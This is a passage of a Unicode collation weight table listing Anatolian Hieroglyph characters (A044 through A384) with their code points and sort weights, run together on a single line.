[.50F5.0020.0002] # ANATOLIAN HIEROGLYPH A044 +14430 ; [.50F6.0020.0002] # ANATOLIAN HIEROGLYPH A045 +14431 ; [.50F7.0020.0002] # ANATOLIAN HIEROGLYPH A045A +14432 ; [.50F8.0020.0002] # ANATOLIAN HIEROGLYPH A046 +14433 ; [.50F9.0020.0002] # ANATOLIAN HIEROGLYPH A046A +14434 ; [.50FA.0020.0002] # ANATOLIAN HIEROGLYPH A046B +14435 ; [.50FB.0020.0002] # ANATOLIAN HIEROGLYPH A047 +14436 ; [.50FC.0020.0002] # ANATOLIAN HIEROGLYPH A048 +14437 ; [.50FD.0020.0002] # ANATOLIAN HIEROGLYPH A049 +14438 ; [.50FE.0020.0002] # ANATOLIAN HIEROGLYPH A050 +14439 ; [.50FF.0020.0002] # ANATOLIAN HIEROGLYPH A051 +1443A ; [.5100.0020.0002] # ANATOLIAN HIEROGLYPH A052 +1443B ; [.5101.0020.0002] # ANATOLIAN HIEROGLYPH A053 +1443C ; [.5102.0020.0002] # ANATOLIAN HIEROGLYPH A054 +1443D ; [.5103.0020.0002] # ANATOLIAN HIEROGLYPH A055 +1443E ; [.5104.0020.0002] # ANATOLIAN HIEROGLYPH A056 +1443F ; [.5105.0020.0002] # ANATOLIAN HIEROGLYPH A057 +14440 ; [.5106.0020.0002] # ANATOLIAN HIEROGLYPH A058 +14441 ; [.5107.0020.0002] # ANATOLIAN HIEROGLYPH A059 +14442 ; [.5108.0020.0002] # ANATOLIAN HIEROGLYPH A060 +14443 ; [.5109.0020.0002] # ANATOLIAN HIEROGLYPH A061 +14444 ; [.510A.0020.0002] # ANATOLIAN HIEROGLYPH A062 +14445 ; [.510B.0020.0002] # ANATOLIAN HIEROGLYPH A063 +14446 ; [.510C.0020.0002] # ANATOLIAN HIEROGLYPH A064 +14447 ; [.510D.0020.0002] # ANATOLIAN HIEROGLYPH A065 +14448 ; [.510E.0020.0002] # ANATOLIAN HIEROGLYPH A066 +14449 ; [.510F.0020.0002] # ANATOLIAN HIEROGLYPH A066A +1444A ; [.5110.0020.0002] # ANATOLIAN HIEROGLYPH A066B +1444B ; [.5111.0020.0002] # ANATOLIAN HIEROGLYPH A066C +1444C ; [.5112.0020.0002] # ANATOLIAN HIEROGLYPH A067 +1444D ; [.5113.0020.0002] # ANATOLIAN HIEROGLYPH A068 +1444E ; [.5114.0020.0002] # ANATOLIAN HIEROGLYPH A069 +1444F ; [.5115.0020.0002] # ANATOLIAN HIEROGLYPH A070 +14450 ; [.5116.0020.0002] # ANATOLIAN HIEROGLYPH A071 +14451 ; [.5117.0020.0002] # ANATOLIAN HIEROGLYPH A072 +14452 ; [.5118.0020.0002] # ANATOLIAN HIEROGLYPH A073 +14453 ; [.5119.0020.0002] # ANATOLIAN HIEROGLYPH A074 +14454 ; [.511A.0020.0002] # ANATOLIAN HIEROGLYPH A075 +14455 ; [.511B.0020.0002] # ANATOLIAN HIEROGLYPH A076 +14456 ; [.511C.0020.0002] # ANATOLIAN HIEROGLYPH A077 +14457 ; [.511D.0020.0002] # ANATOLIAN HIEROGLYPH A078 +14458 ; [.511E.0020.0002] # ANATOLIAN HIEROGLYPH A079 +14459 ; [.511F.0020.0002] # ANATOLIAN HIEROGLYPH A080 +1445A ; [.5120.0020.0002] # ANATOLIAN HIEROGLYPH A081 +1445B ; [.5121.0020.0002] # ANATOLIAN HIEROGLYPH A082 +1445C ; [.5122.0020.0002] # ANATOLIAN HIEROGLYPH A083 +1445D ; [.5123.0020.0002] # ANATOLIAN HIEROGLYPH A084 +1445E ; [.5124.0020.0002] # ANATOLIAN HIEROGLYPH A085 +1445F ; [.5125.0020.0002] # ANATOLIAN HIEROGLYPH A086 +14460 ; [.5126.0020.0002] # ANATOLIAN HIEROGLYPH A087 +14461 ; [.5127.0020.0002] # ANATOLIAN HIEROGLYPH A088 +14462 ; [.5128.0020.0002] # ANATOLIAN HIEROGLYPH A089 +14463 ; [.5129.0020.0002] # ANATOLIAN HIEROGLYPH A090 +14464 ; [.512A.0020.0002] # ANATOLIAN HIEROGLYPH A091 +14465 ; [.512B.0020.0002] # ANATOLIAN HIEROGLYPH A092 +14466 ; [.512C.0020.0002] # ANATOLIAN HIEROGLYPH A093 +14467 ; [.512D.0020.0002] # ANATOLIAN HIEROGLYPH A094 +14468 ; [.512E.0020.0002] # ANATOLIAN HIEROGLYPH A095 +14469 ; [.512F.0020.0002] # ANATOLIAN HIEROGLYPH A096 +1446A ; [.5130.0020.0002] # ANATOLIAN HIEROGLYPH A097 +1446B ; [.5131.0020.0002] # ANATOLIAN HIEROGLYPH A097A +1446C ; [.5132.0020.0002] # ANATOLIAN HIEROGLYPH A098 +1446D ; [.5133.0020.0002] # ANATOLIAN HIEROGLYPH A098A +1446E ; [.5134.0020.0002] # ANATOLIAN HIEROGLYPH A099 +1446F ; [.5135.0020.0002] # ANATOLIAN HIEROGLYPH A100 +14470 ; [.5136.0020.0002] # ANATOLIAN HIEROGLYPH A100A +14471 ; [.5137.0020.0002] # ANATOLIAN HIEROGLYPH A101 +14472 ; [.5138.0020.0002] # ANATOLIAN HIEROGLYPH A101A +14473 ; [.5139.0020.0002] # ANATOLIAN HIEROGLYPH A102 +14474 ; [.513A.0020.0002] # ANATOLIAN HIEROGLYPH A102A +14475 ; [.513B.0020.0002] # ANATOLIAN HIEROGLYPH A103 +14476 ; [.513C.0020.0002] # ANATOLIAN HIEROGLYPH A104 +14477 ; [.513D.0020.0002] # ANATOLIAN HIEROGLYPH A104A +14478 ; [.513E.0020.0002] # ANATOLIAN HIEROGLYPH A104B +14479 ; [.513F.0020.0002] # ANATOLIAN HIEROGLYPH A104C +1447A ; [.5140.0020.0002] # ANATOLIAN HIEROGLYPH A105 +1447B ; [.5141.0020.0002] # ANATOLIAN HIEROGLYPH A105A +1447C ; [.5142.0020.0002] # ANATOLIAN HIEROGLYPH A105B +1447D ; [.5143.0020.0002] # ANATOLIAN HIEROGLYPH A106 +1447E ; [.5144.0020.0002] # ANATOLIAN HIEROGLYPH A107 +1447F ; [.5145.0020.0002] # ANATOLIAN HIEROGLYPH A107A +14480 ; [.5146.0020.0002] # ANATOLIAN HIEROGLYPH A107B +14481 ; [.5147.0020.0002] # ANATOLIAN HIEROGLYPH A107C +14482 ; [.5148.0020.0002] # ANATOLIAN HIEROGLYPH A108 +14483 ; [.5149.0020.0002] # ANATOLIAN HIEROGLYPH A109 +14484 ; [.514A.0020.0002] # ANATOLIAN HIEROGLYPH A110 +14485 ; [.514B.0020.0002] # ANATOLIAN HIEROGLYPH A110A +14486 ; [.514C.0020.0002] # ANATOLIAN HIEROGLYPH A110B +14487 ; [.514D.0020.0002] # ANATOLIAN HIEROGLYPH A111 +14488 ; [.514E.0020.0002] # ANATOLIAN HIEROGLYPH A112 +14489 ; [.514F.0020.0002] # ANATOLIAN HIEROGLYPH A113 +1448A ; [.5150.0020.0002] # ANATOLIAN HIEROGLYPH A114 +1448B ; [.5151.0020.0002] # ANATOLIAN HIEROGLYPH A115 +1448C ; [.5152.0020.0002] # ANATOLIAN HIEROGLYPH A115A +1448D ; [.5153.0020.0002] # ANATOLIAN HIEROGLYPH A116 +1448E ; [.5154.0020.0002] # ANATOLIAN HIEROGLYPH A117 +1448F ; [.5155.0020.0002] # ANATOLIAN HIEROGLYPH A118 +14490 ; [.5156.0020.0002] # ANATOLIAN HIEROGLYPH A119 +14491 ; [.5157.0020.0002] # ANATOLIAN HIEROGLYPH A120 +14492 ; [.5158.0020.0002] # ANATOLIAN HIEROGLYPH A121 +14493 ; [.5159.0020.0002] # ANATOLIAN HIEROGLYPH A122 +14494 ; [.515A.0020.0002] # ANATOLIAN HIEROGLYPH A123 +14495 ; [.515B.0020.0002] # ANATOLIAN HIEROGLYPH A124 +14496 ; [.515C.0020.0002] # ANATOLIAN HIEROGLYPH A125 +14497 ; [.515D.0020.0002] # ANATOLIAN HIEROGLYPH A125A +14498 ; [.515E.0020.0002] # ANATOLIAN HIEROGLYPH A126 +14499 ; [.515F.0020.0002] # ANATOLIAN HIEROGLYPH A127 +1449A ; [.5160.0020.0002] # ANATOLIAN HIEROGLYPH A128 +1449B ; [.5161.0020.0002] # ANATOLIAN HIEROGLYPH A129 +1449C ; [.5162.0020.0002] # ANATOLIAN HIEROGLYPH A130 +1449D ; [.5163.0020.0002] # ANATOLIAN HIEROGLYPH A131 +1449E ; [.5164.0020.0002] # ANATOLIAN HIEROGLYPH A132 +1449F ; [.5165.0020.0002] # ANATOLIAN HIEROGLYPH A133 +144A0 ; [.5166.0020.0002] # ANATOLIAN HIEROGLYPH A134 +144A1 ; [.5167.0020.0002] # ANATOLIAN HIEROGLYPH A135 +144A2 ; [.5168.0020.0002] # ANATOLIAN HIEROGLYPH A135A +144A3 ; [.5169.0020.0002] # ANATOLIAN HIEROGLYPH A136 +144A4 ; [.516A.0020.0002] # ANATOLIAN HIEROGLYPH A137 +144A5 ; [.516B.0020.0002] # ANATOLIAN HIEROGLYPH A138 +144A6 ; [.516C.0020.0002] # ANATOLIAN HIEROGLYPH A139 +144A7 ; [.516D.0020.0002] # ANATOLIAN HIEROGLYPH A140 +144A8 ; [.516E.0020.0002] # ANATOLIAN HIEROGLYPH A141 +144A9 ; [.516F.0020.0002] # ANATOLIAN HIEROGLYPH A142 +144AA ; [.5170.0020.0002] # ANATOLIAN HIEROGLYPH A143 +144AB ; [.5171.0020.0002] # ANATOLIAN HIEROGLYPH A144 +144AC ; [.5172.0020.0002] # ANATOLIAN HIEROGLYPH A145 +144AD ; [.5173.0020.0002] # ANATOLIAN HIEROGLYPH A146 +144AE ; [.5174.0020.0002] # ANATOLIAN HIEROGLYPH A147 +144AF ; [.5175.0020.0002] # ANATOLIAN HIEROGLYPH A148 +144B0 ; [.5176.0020.0002] # ANATOLIAN HIEROGLYPH A149 +144B1 ; [.5177.0020.0002] # ANATOLIAN HIEROGLYPH A150 +144B2 ; [.5178.0020.0002] # ANATOLIAN HIEROGLYPH A151 +144B3 ; [.5179.0020.0002] # ANATOLIAN HIEROGLYPH A152 +144B4 ; [.517A.0020.0002] # ANATOLIAN HIEROGLYPH A153 +144B5 ; [.517B.0020.0002] # ANATOLIAN HIEROGLYPH A154 +144B6 ; [.517C.0020.0002] # ANATOLIAN HIEROGLYPH A155 +144B7 ; [.517D.0020.0002] # ANATOLIAN HIEROGLYPH A156 +144B8 ; [.517E.0020.0002] # ANATOLIAN HIEROGLYPH A157 +144B9 ; [.517F.0020.0002] # ANATOLIAN HIEROGLYPH A158 +144BA ; [.5180.0020.0002] # ANATOLIAN HIEROGLYPH A159 +144BB ; [.5181.0020.0002] # ANATOLIAN HIEROGLYPH A160 +144BC ; [.5182.0020.0002] # ANATOLIAN HIEROGLYPH A161 +144BD ; [.5183.0020.0002] # ANATOLIAN HIEROGLYPH A162 +144BE ; [.5184.0020.0002] # ANATOLIAN HIEROGLYPH A163 +144BF ; [.5185.0020.0002] # ANATOLIAN HIEROGLYPH A164 +144C0 ; [.5186.0020.0002] # ANATOLIAN HIEROGLYPH A165 +144C1 ; [.5187.0020.0002] # ANATOLIAN HIEROGLYPH A166 +144C2 ; [.5188.0020.0002] # ANATOLIAN HIEROGLYPH A167 +144C3 ; [.5189.0020.0002] # ANATOLIAN HIEROGLYPH A168 +144C4 ; [.518A.0020.0002] # ANATOLIAN HIEROGLYPH A169 +144C5 ; [.518B.0020.0002] # ANATOLIAN HIEROGLYPH A170 +144C6 ; [.518C.0020.0002] # ANATOLIAN HIEROGLYPH A171 +144C7 ; [.518D.0020.0002] # ANATOLIAN HIEROGLYPH A172 +144C8 ; [.518E.0020.0002] # ANATOLIAN HIEROGLYPH A173 +144C9 ; [.518F.0020.0002] # ANATOLIAN HIEROGLYPH A174 +144CA ; [.5190.0020.0002] # ANATOLIAN HIEROGLYPH A175 +144CB ; [.5191.0020.0002] # ANATOLIAN HIEROGLYPH A176 +144CC ; [.5192.0020.0002] # ANATOLIAN HIEROGLYPH A177 +144CD ; [.5193.0020.0002] # ANATOLIAN HIEROGLYPH A178 +144CE ; [.5194.0020.0002] # ANATOLIAN HIEROGLYPH A179 +144CF ; [.5195.0020.0002] # ANATOLIAN HIEROGLYPH A180 +144D0 ; [.5196.0020.0002] # ANATOLIAN HIEROGLYPH A181 +144D1 ; [.5197.0020.0002] # ANATOLIAN HIEROGLYPH A182 +144D2 ; [.5198.0020.0002] # ANATOLIAN HIEROGLYPH A183 +144D3 ; [.5199.0020.0002] # ANATOLIAN HIEROGLYPH A184 +144D4 ; [.519A.0020.0002] # ANATOLIAN HIEROGLYPH A185 +144D5 ; [.519B.0020.0002] # ANATOLIAN HIEROGLYPH A186 +144D6 ; [.519C.0020.0002] # ANATOLIAN HIEROGLYPH A187 +144D7 ; [.519D.0020.0002] # ANATOLIAN HIEROGLYPH A188 +144D8 ; [.519E.0020.0002] # ANATOLIAN HIEROGLYPH A189 +144D9 ; [.519F.0020.0002] # ANATOLIAN HIEROGLYPH A190 +144DA ; [.51A0.0020.0002] # ANATOLIAN HIEROGLYPH A191 +144DB ; [.51A1.0020.0002] # ANATOLIAN HIEROGLYPH A192 +144DC ; [.51A2.0020.0002] # ANATOLIAN HIEROGLYPH A193 +144DD ; [.51A3.0020.0002] # ANATOLIAN HIEROGLYPH A194 +144DE ; [.51A4.0020.0002] # ANATOLIAN HIEROGLYPH A195 +144DF ; [.51A5.0020.0002] # ANATOLIAN HIEROGLYPH A196 +144E0 ; [.51A6.0020.0002] # ANATOLIAN HIEROGLYPH A197 +144E1 ; [.51A7.0020.0002] # ANATOLIAN HIEROGLYPH A198 +144E2 ; [.51A8.0020.0002] # ANATOLIAN HIEROGLYPH A199 +144E3 ; [.51A9.0020.0002] # ANATOLIAN HIEROGLYPH A200 +144E4 ; [.51AA.0020.0002] # ANATOLIAN HIEROGLYPH A201 +144E5 ; [.51AB.0020.0002] # ANATOLIAN HIEROGLYPH A202 +144E6 ; [.51AC.0020.0002] # ANATOLIAN HIEROGLYPH A202A +144E7 ; [.51AD.0020.0002] # ANATOLIAN HIEROGLYPH A202B +144E8 ; [.51AE.0020.0002] # ANATOLIAN HIEROGLYPH A203 +144E9 ; [.51AF.0020.0002] # ANATOLIAN HIEROGLYPH A204 +144EA ; [.51B0.0020.0002] # ANATOLIAN HIEROGLYPH A205 +144EB ; [.51B1.0020.0002] # ANATOLIAN HIEROGLYPH A206 +144EC ; [.51B2.0020.0002] # ANATOLIAN HIEROGLYPH A207 +144ED ; [.51B3.0020.0002] # ANATOLIAN HIEROGLYPH A207A +144EE ; [.51B4.0020.0002] # ANATOLIAN HIEROGLYPH A208 +144EF ; [.51B5.0020.0002] # ANATOLIAN HIEROGLYPH A209 +144F0 ; [.51B6.0020.0002] # ANATOLIAN HIEROGLYPH A209A +144F1 ; [.51B7.0020.0002] # ANATOLIAN HIEROGLYPH A210 +144F2 ; [.51B8.0020.0002] # ANATOLIAN HIEROGLYPH A211 +144F3 ; [.51B9.0020.0002] # ANATOLIAN HIEROGLYPH A212 +144F4 ; [.51BA.0020.0002] # ANATOLIAN HIEROGLYPH A213 +144F5 ; [.51BB.0020.0002] # ANATOLIAN HIEROGLYPH A214 +144F6 ; [.51BC.0020.0002] # ANATOLIAN HIEROGLYPH A215 +144F7 ; [.51BD.0020.0002] # ANATOLIAN HIEROGLYPH A215A +144F8 ; [.51BE.0020.0002] # ANATOLIAN HIEROGLYPH A216 +144F9 ; [.51BF.0020.0002] # ANATOLIAN HIEROGLYPH A216A +144FA ; [.51C0.0020.0002] # ANATOLIAN HIEROGLYPH A217 +144FB ; [.51C1.0020.0002] # ANATOLIAN HIEROGLYPH A218 +144FC ; [.51C2.0020.0002] # ANATOLIAN HIEROGLYPH A219 +144FD ; [.51C3.0020.0002] # ANATOLIAN HIEROGLYPH A220 +144FE ; [.51C4.0020.0002] # ANATOLIAN HIEROGLYPH A221 +144FF ; [.51C5.0020.0002] # ANATOLIAN HIEROGLYPH A222 +14500 ; [.51C6.0020.0002] # ANATOLIAN HIEROGLYPH A223 +14501 ; [.51C7.0020.0002] # ANATOLIAN HIEROGLYPH A224 +14502 ; [.51C8.0020.0002] # ANATOLIAN HIEROGLYPH A225 +14503 ; [.51C9.0020.0002] # ANATOLIAN HIEROGLYPH A226 +14504 ; [.51CA.0020.0002] # ANATOLIAN HIEROGLYPH A227 +14505 ; [.51CB.0020.0002] # ANATOLIAN HIEROGLYPH A227A +14506 ; [.51CC.0020.0002] # ANATOLIAN HIEROGLYPH A228 +14507 ; [.51CD.0020.0002] # ANATOLIAN HIEROGLYPH A229 +14508 ; [.51CE.0020.0002] # ANATOLIAN HIEROGLYPH A230 +14509 ; [.51CF.0020.0002] # ANATOLIAN HIEROGLYPH A231 +1450A ; [.51D0.0020.0002] # ANATOLIAN HIEROGLYPH A232 +1450B ; [.51D1.0020.0002] # ANATOLIAN HIEROGLYPH A233 +1450C ; [.51D2.0020.0002] # ANATOLIAN HIEROGLYPH A234 +1450D ; [.51D3.0020.0002] # ANATOLIAN HIEROGLYPH A235 +1450E ; [.51D4.0020.0002] # ANATOLIAN HIEROGLYPH A236 +1450F ; [.51D5.0020.0002] # ANATOLIAN HIEROGLYPH A237 +14510 ; [.51D6.0020.0002] # ANATOLIAN HIEROGLYPH A238 +14511 ; [.51D7.0020.0002] # ANATOLIAN HIEROGLYPH A239 +14512 ; [.51D8.0020.0002] # ANATOLIAN HIEROGLYPH A240 +14513 ; [.51D9.0020.0002] # ANATOLIAN HIEROGLYPH A241 +14514 ; [.51DA.0020.0002] # ANATOLIAN HIEROGLYPH A242 +14515 ; [.51DB.0020.0002] # ANATOLIAN HIEROGLYPH A243 +14516 ; [.51DC.0020.0002] # ANATOLIAN HIEROGLYPH A244 +14517 ; [.51DD.0020.0002] # ANATOLIAN HIEROGLYPH A245 +14518 ; [.51DE.0020.0002] # ANATOLIAN HIEROGLYPH A246 +14519 ; [.51DF.0020.0002] # ANATOLIAN HIEROGLYPH A247 +1451A ; [.51E0.0020.0002] # ANATOLIAN HIEROGLYPH A248 +1451B ; [.51E1.0020.0002] # ANATOLIAN HIEROGLYPH A249 +1451C ; [.51E2.0020.0002] # ANATOLIAN HIEROGLYPH A250 +1451D ; [.51E3.0020.0002] # ANATOLIAN HIEROGLYPH A251 +1451E ; [.51E4.0020.0002] # ANATOLIAN HIEROGLYPH A252 +1451F ; [.51E5.0020.0002] # ANATOLIAN HIEROGLYPH A253 +14520 ; [.51E6.0020.0002] # ANATOLIAN HIEROGLYPH A254 +14521 ; [.51E7.0020.0002] # ANATOLIAN HIEROGLYPH A255 +14522 ; [.51E8.0020.0002] # ANATOLIAN HIEROGLYPH A256 +14523 ; [.51E9.0020.0002] # ANATOLIAN HIEROGLYPH A257 +14524 ; [.51EA.0020.0002] # ANATOLIAN HIEROGLYPH A258 +14525 ; [.51EB.0020.0002] # ANATOLIAN HIEROGLYPH A259 +14526 ; [.51EC.0020.0002] # ANATOLIAN HIEROGLYPH A260 +14527 ; [.51ED.0020.0002] # ANATOLIAN HIEROGLYPH A261 +14528 ; [.51EE.0020.0002] # ANATOLIAN HIEROGLYPH A262 +14529 ; [.51EF.0020.0002] # ANATOLIAN HIEROGLYPH A263 +1452A ; [.51F0.0020.0002] # ANATOLIAN HIEROGLYPH A264 +1452B ; [.51F1.0020.0002] # ANATOLIAN HIEROGLYPH A265 +1452C ; [.51F2.0020.0002] # ANATOLIAN HIEROGLYPH A266 +1452D ; [.51F3.0020.0002] # ANATOLIAN HIEROGLYPH A267 +1452E ; [.51F4.0020.0002] # ANATOLIAN HIEROGLYPH A267A +1452F ; [.51F5.0020.0002] # ANATOLIAN HIEROGLYPH A268 +14530 ; [.51F6.0020.0002] # ANATOLIAN HIEROGLYPH A269 +14531 ; [.51F7.0020.0002] # ANATOLIAN HIEROGLYPH A270 +14532 ; [.51F8.0020.0002] # ANATOLIAN HIEROGLYPH A271 +14533 ; [.51F9.0020.0002] # ANATOLIAN HIEROGLYPH A272 +14534 ; [.51FA.0020.0002] # ANATOLIAN HIEROGLYPH A273 +14535 ; [.51FB.0020.0002] # ANATOLIAN HIEROGLYPH A274 +14536 ; [.51FC.0020.0002] # ANATOLIAN HIEROGLYPH A275 +14537 ; [.51FD.0020.0002] # ANATOLIAN HIEROGLYPH A276 +14538 ; [.51FE.0020.0002] # ANATOLIAN HIEROGLYPH A277 +14539 ; [.51FF.0020.0002] # ANATOLIAN HIEROGLYPH A278 +1453A ; [.5200.0020.0002] # ANATOLIAN HIEROGLYPH A279 +1453B ; [.5201.0020.0002] # ANATOLIAN HIEROGLYPH A280 +1453C ; [.5202.0020.0002] # ANATOLIAN HIEROGLYPH A281 +1453D ; [.5203.0020.0002] # ANATOLIAN HIEROGLYPH A282 +1453E ; [.5204.0020.0002] # ANATOLIAN HIEROGLYPH A283 +1453F ; [.5205.0020.0002] # ANATOLIAN HIEROGLYPH A284 +14540 ; [.5206.0020.0002] # ANATOLIAN HIEROGLYPH A285 +14541 ; [.5207.0020.0002] # ANATOLIAN HIEROGLYPH A286 +14542 ; [.5208.0020.0002] # ANATOLIAN HIEROGLYPH A287 +14543 ; [.5209.0020.0002] # ANATOLIAN HIEROGLYPH A288 +14544 ; [.520A.0020.0002] # ANATOLIAN HIEROGLYPH A289 +14545 ; [.520B.0020.0002] # ANATOLIAN HIEROGLYPH A289A +14546 ; [.520C.0020.0002] # ANATOLIAN HIEROGLYPH A290 +14547 ; [.520D.0020.0002] # ANATOLIAN HIEROGLYPH A291 +14548 ; [.520E.0020.0002] # ANATOLIAN HIEROGLYPH A292 +14549 ; [.520F.0020.0002] # ANATOLIAN HIEROGLYPH A293 +1454A ; [.5210.0020.0002] # ANATOLIAN HIEROGLYPH A294 +1454B ; [.5211.0020.0002] # ANATOLIAN HIEROGLYPH A294A +1454C ; [.5212.0020.0002] # ANATOLIAN HIEROGLYPH A295 +1454D ; [.5213.0020.0002] # ANATOLIAN HIEROGLYPH A296 +1454E ; [.5214.0020.0002] # ANATOLIAN HIEROGLYPH A297 +1454F ; [.5215.0020.0002] # ANATOLIAN HIEROGLYPH A298 +14550 ; [.5216.0020.0002] # ANATOLIAN HIEROGLYPH A299 +14551 ; [.5217.0020.0002] # ANATOLIAN HIEROGLYPH A299A +14552 ; [.5218.0020.0002] # ANATOLIAN HIEROGLYPH A300 +14553 ; [.5219.0020.0002] # ANATOLIAN HIEROGLYPH A301 +14554 ; [.521A.0020.0002] # ANATOLIAN HIEROGLYPH A302 +14555 ; [.521B.0020.0002] # ANATOLIAN HIEROGLYPH A303 +14556 ; [.521C.0020.0002] # ANATOLIAN HIEROGLYPH A304 +14557 ; [.521D.0020.0002] # ANATOLIAN HIEROGLYPH A305 +14558 ; [.521E.0020.0002] # ANATOLIAN HIEROGLYPH A306 +14559 ; [.521F.0020.0002] # ANATOLIAN HIEROGLYPH A307 +1455A ; [.5220.0020.0002] # ANATOLIAN HIEROGLYPH A308 +1455B ; [.5221.0020.0002] # ANATOLIAN HIEROGLYPH A309 +1455C ; [.5222.0020.0002] # ANATOLIAN HIEROGLYPH A309A +1455D ; [.5223.0020.0002] # ANATOLIAN HIEROGLYPH A310 +1455E ; [.5224.0020.0002] # ANATOLIAN HIEROGLYPH A311 +1455F ; [.5225.0020.0002] # ANATOLIAN HIEROGLYPH A312 +14560 ; [.5226.0020.0002] # ANATOLIAN HIEROGLYPH A313 +14561 ; [.5227.0020.0002] # ANATOLIAN HIEROGLYPH A314 +14562 ; [.5228.0020.0002] # ANATOLIAN HIEROGLYPH A315 +14563 ; [.5229.0020.0002] # ANATOLIAN HIEROGLYPH A316 +14564 ; [.522A.0020.0002] # ANATOLIAN HIEROGLYPH A317 +14565 ; [.522B.0020.0002] # ANATOLIAN HIEROGLYPH A318 +14566 ; [.522C.0020.0002] # ANATOLIAN HIEROGLYPH A319 +14567 ; [.522D.0020.0002] # ANATOLIAN HIEROGLYPH A320 +14568 ; [.522E.0020.0002] # ANATOLIAN HIEROGLYPH A321 +14569 ; [.522F.0020.0002] # ANATOLIAN HIEROGLYPH A322 +1456A ; [.5230.0020.0002] # ANATOLIAN HIEROGLYPH A323 +1456B ; [.5231.0020.0002] # ANATOLIAN HIEROGLYPH A324 +1456C ; [.5232.0020.0002] # ANATOLIAN HIEROGLYPH A325 +1456D ; [.5233.0020.0002] # ANATOLIAN HIEROGLYPH A326 +1456E ; [.5234.0020.0002] # ANATOLIAN HIEROGLYPH A327 +1456F ; [.5235.0020.0002] # ANATOLIAN HIEROGLYPH A328 +14570 ; [.5236.0020.0002] # ANATOLIAN HIEROGLYPH A329 +14571 ; [.5237.0020.0002] # ANATOLIAN HIEROGLYPH A329A +14572 ; [.5238.0020.0002] # ANATOLIAN HIEROGLYPH A330 +14573 ; [.5239.0020.0002] # ANATOLIAN HIEROGLYPH A331 +14574 ; [.523A.0020.0002] # ANATOLIAN HIEROGLYPH A332A +14575 ; [.523B.0020.0002] # ANATOLIAN HIEROGLYPH A332B +14576 ; [.523C.0020.0002] # ANATOLIAN HIEROGLYPH A332C +14577 ; [.523D.0020.0002] # ANATOLIAN HIEROGLYPH A333 +14578 ; [.523E.0020.0002] # ANATOLIAN HIEROGLYPH A334 +14579 ; [.523F.0020.0002] # ANATOLIAN HIEROGLYPH A335 +1457A ; [.5240.0020.0002] # ANATOLIAN HIEROGLYPH A336 +1457B ; [.5241.0020.0002] # ANATOLIAN HIEROGLYPH A336A +1457C ; [.5242.0020.0002] # ANATOLIAN HIEROGLYPH A336B +1457D ; [.5243.0020.0002] # ANATOLIAN HIEROGLYPH A336C +1457E ; [.5244.0020.0002] # ANATOLIAN HIEROGLYPH A337 +1457F ; [.5245.0020.0002] # ANATOLIAN HIEROGLYPH A338 +14580 ; [.5246.0020.0002] # ANATOLIAN HIEROGLYPH A339 +14581 ; [.5247.0020.0002] # ANATOLIAN HIEROGLYPH A340 +14582 ; [.5248.0020.0002] # ANATOLIAN HIEROGLYPH A341 +14583 ; [.5249.0020.0002] # ANATOLIAN HIEROGLYPH A342 +14584 ; [.524A.0020.0002] # ANATOLIAN HIEROGLYPH A343 +14585 ; [.524B.0020.0002] # ANATOLIAN HIEROGLYPH A344 +14586 ; [.524C.0020.0002] # ANATOLIAN HIEROGLYPH A345 +14587 ; [.524D.0020.0002] # ANATOLIAN HIEROGLYPH A346 +14588 ; [.524E.0020.0002] # ANATOLIAN HIEROGLYPH A347 +14589 ; [.524F.0020.0002] # ANATOLIAN HIEROGLYPH A348 +1458A ; [.5250.0020.0002] # ANATOLIAN HIEROGLYPH A349 +1458B ; [.5251.0020.0002] # ANATOLIAN HIEROGLYPH A350 +1458C ; [.5252.0020.0002] # ANATOLIAN HIEROGLYPH A351 +1458D ; [.5253.0020.0002] # ANATOLIAN HIEROGLYPH A352 +1458E ; [.5254.0020.0002] # ANATOLIAN HIEROGLYPH A353 +1458F ; [.5255.0020.0002] # ANATOLIAN HIEROGLYPH A354 +14590 ; [.5256.0020.0002] # ANATOLIAN HIEROGLYPH A355 +14591 ; [.5257.0020.0002] # ANATOLIAN HIEROGLYPH A356 +14592 ; [.5258.0020.0002] # ANATOLIAN HIEROGLYPH A357 +14593 ; [.5259.0020.0002] # ANATOLIAN HIEROGLYPH A358 +14594 ; [.525A.0020.0002] # ANATOLIAN HIEROGLYPH A359 +14595 ; [.525B.0020.0002] # ANATOLIAN HIEROGLYPH A359A +14596 ; [.525C.0020.0002] # ANATOLIAN HIEROGLYPH A360 +14597 ; [.525D.0020.0002] # ANATOLIAN HIEROGLYPH A361 +14598 ; [.525E.0020.0002] # ANATOLIAN HIEROGLYPH A362 +14599 ; [.525F.0020.0002] # ANATOLIAN HIEROGLYPH A363 +1459A ; [.5260.0020.0002] # ANATOLIAN HIEROGLYPH A364 +1459B ; [.5261.0020.0002] # ANATOLIAN HIEROGLYPH A364A +1459C ; [.5262.0020.0002] # ANATOLIAN HIEROGLYPH A365 +1459D ; [.5263.0020.0002] # ANATOLIAN HIEROGLYPH A366 +1459E ; [.5264.0020.0002] # ANATOLIAN HIEROGLYPH A367 +1459F ; [.5265.0020.0002] # ANATOLIAN HIEROGLYPH A368 +145A0 ; [.5266.0020.0002] # ANATOLIAN HIEROGLYPH A368A +145A1 ; [.5267.0020.0002] # ANATOLIAN HIEROGLYPH A369 +145A2 ; [.5268.0020.0002] # ANATOLIAN HIEROGLYPH A370 +145A3 ; [.5269.0020.0002] # ANATOLIAN HIEROGLYPH A371 +145A4 ; [.526A.0020.0002] # ANATOLIAN HIEROGLYPH A371A +145A5 ; [.526B.0020.0002] # ANATOLIAN HIEROGLYPH A372 +145A6 ; [.526C.0020.0002] # ANATOLIAN HIEROGLYPH A373 +145A7 ; [.526D.0020.0002] # ANATOLIAN HIEROGLYPH A374 +145A8 ; [.526E.0020.0002] # ANATOLIAN HIEROGLYPH A375 +145A9 ; [.526F.0020.0002] # ANATOLIAN HIEROGLYPH A376 +145AA ; [.5270.0020.0002] # ANATOLIAN HIEROGLYPH A377 +145AB ; [.5271.0020.0002] # ANATOLIAN HIEROGLYPH A378 +145AC ; [.5272.0020.0002] # ANATOLIAN HIEROGLYPH A379 +145AD ; [.5273.0020.0002] # ANATOLIAN HIEROGLYPH A380 +145AE ; [.5274.0020.0002] # ANATOLIAN HIEROGLYPH A381 +145AF ; [.5275.0020.0002] # ANATOLIAN HIEROGLYPH A381A +145B0 ; [.5276.0020.0002] # ANATOLIAN HIEROGLYPH A382 +145B1 ; [.5277.0020.0002] # ANATOLIAN HIEROGLYPH A383 RA OR RI +145B2 ; [.5278.0020.0002] # ANATOLIAN HIEROGLYPH A383A +145B3 ; [.5279.0020.0002] # ANATOLIAN HIEROGLYPH A384 +145B4 ; [.527A.0020.0002] # ANATOLIAN HIEROGLYPH 